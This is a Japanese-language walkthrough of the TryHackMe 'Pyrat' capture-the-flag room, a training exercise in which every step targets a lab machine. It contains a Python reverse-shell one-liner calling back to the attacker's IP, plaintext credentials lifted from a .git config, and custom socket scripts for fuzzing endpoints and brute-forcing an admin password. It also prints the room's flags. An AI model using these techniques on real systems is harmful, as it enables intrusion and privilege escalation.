概要
TryHackMe「Pyrat」のWalkthroughです。
Task1
Q1.What is the user flag?
Hint.Only manual enumeration will help, do not waste fuzzing time.
ポートスキャンを実行します。
nmap -Pn -T4 -sVC -A --min-rate 3000 -p- -oN nmap_result 10.10.84.119
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
8000 | http | SimpleHTTP/0.6 |
ルーム名からPythonが関係していそうです。
8000
番ポートに接続すると、Pythonのコードを実行できました。
$ nc 10.10.78.78 8000
print("test")
test
Pythonでリバーシェルを張ります。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
www-data
でシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.78.78] 57800
$ pwd
pwd
/root
think
、ubuntu
アカウントへの横展開を目指します。
www-data@ip-10-10-78-78:~$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jul 23 13:12 .
drwxr-xr-x 18 root root 4096 Jul 23 13:12 ..
drwxr-x--- 5 think think 4096 Jun 21 2023 think
drwxr-xr-x 3 ubuntu ubuntu 4096 Jul 23 13:12 ubuntu
サーバー内を探索すると、/opt/dev
を発見しました。
www-data@ip-10-10-78-78:~$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Jul 23 13:12 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
フォルダ内をさらに探索すると、/opt/dev/.git/config
にthink
アカウントの認証情報が書かれています。
Username: think
、Password: _TH1NKINGPirate$_
だと判明しました。
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
得られた認証情報でSSH接続に成功しました。
$ ssh think@10.10.78.78
think@ip-10-10-78-78:~$
ユーザーフラグを入手できました。
think@ip-10-10-78-78:~$ cat user.txt
996bdb1f619a68361417cabca5454705
A.996bdb1f619a68361417cabca5454705
Q2.What is the root flag?
Hint.Keep playing with the custom app.
/opt/dev/.git
を発見したので、Gitの履歴を確認すると、pyrat.py.old
を発見しました。
think@ip-10-201-64-127:/opt/dev$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
git restore
でpyrat.py.old
を復元します。
think@ip-10-201-64-127:/opt/dev$ git restore pyrat.py.old
think@ip-10-201-64-127:/opt/dev$ ls -la
total 16
drwxrwxr-x 3 think think 4096 Sep 7 03:33 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Sep 7 03:33 .git
-rw-rw-r-- 1 think think 753 Sep 7 03:33 pyrat.py.old
pyrat.py.old
を確認します。
入力値により処理が変化し、some_endpoint
ではget_this_endpoint
関数が実行されています。
また、shell
を入力するとシェルを起動できる処理になっています。
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
再度8000
番ポートに接続し、some_endpoint
を入力するとエラーになりました。
shell
を入力すると、処理通りシェルを起動できました。
$ nc 10.201.64.127 8000
some_endpoint
name 'some_endpoint' is not defined
shell
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
some_endpoint
が不明なので、他のエンドポイントをファジングで探します。
ファジングするコードを作成し、実行します。
import socket
TARGET_HOST = "10.201.64.127"
TARGET_PORT = 8000
WORDLIST = "/usr/share/dirb/wordlists/common.txt"
def fuzz():
with open(WORDLIST, "r") as f:
words = [w.strip() for w in f.readlines()]
for word in words:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_HOST, TARGET_PORT))
s.sendall(word.encode() + b"\n")
response = s.recv(4096).decode(errors="ignore").strip()
print(f"[TRY] {word} -> {response}")
s.close()
except Exception as e:
print(f"[ERROR] {word} -> {e}")
if __name__ == "__main__":
fuzz()
ファジングの結果、admin
を入力すると出力が変わりパスワードを求められると分かりました。
[TRY] admin -> Password:
Netcatで接続し実際にadmin
を入力するとパスワードを求められ、連続3回まで試行できると分かりました。
$ nc 10.201.64.127 8000
admin
Password:
a
Password:
a
Password:
a
a
name 'a' is not defined
パスワードを3回ずつ試行するコードを書き、admin
のパスワードを特定します。
import socket
import time
TARGET_HOST = "10.201.64.127"
TARGET_PORT = 8000
WORDLIST = "/usr/share/wordlists/metasploit/unix_passwords.txt"
def try_passwords():
with open(WORDLIST, "r") as f:
passwords = [w.strip() for w in f.readlines()]
i = 0
while i < len(passwords):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET_HOST, TARGET_PORT))
s.sendall(b"admin\n")
try:
_ = s.recv(1024).decode(errors="ignore")
except socket.timeout:
print("[!] No response after sending 'admin'")
s.close()
continue
for j in range(3):
if i >= len(passwords):
break
pw = passwords[i]
i += 1
s.sendall(pw.encode() + b"\n")
try:
response = s.recv(4096).decode(errors="ignore").strip()
except socket.timeout:
response = ""
print(f"[TRY] {pw} -> {response}")
if "Password:" in response:
continue
if response == "":
continue
else:
print(f"[+] Possible success with password: {pw}")
print(f"[+] Server responded: {response}")
s.close()
return
s.close()
time.sleep(0.5)
if __name__ == "__main__":
try_passwords()
プログラムを実行すると、abc123
の時に出力が変化し、Welcome Admin!!
と表示されました。
$ python test_pass.py
[TRY] admin -> Password:
[TRY] 123456 -> Password:
[TRY] 12345 ->
[TRY] 123456789 -> Password:
[TRY] password -> Password:
[TRY] iloveyou ->
[TRY] princess -> Password:
[TRY] 1234567 -> Password:
[TRY] 12345678 ->
[TRY] abc123 -> Welcome Admin!!! Type "shell" to begin
[+] Possible success with password: abc123
[+] Server responded: Welcome Admin!!! Type "shell" to begin
パスワードにabc123
を使用すると、rootのシェルを起動できました。
$ nc 10.201.64.127 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
ルートフラグを入手できました。
# cat /root/root.txt
cat /root/root.txt
ba5ed03e9e74bb98054438480165e221
A.ba5ed03e9e74bb98054438480165e221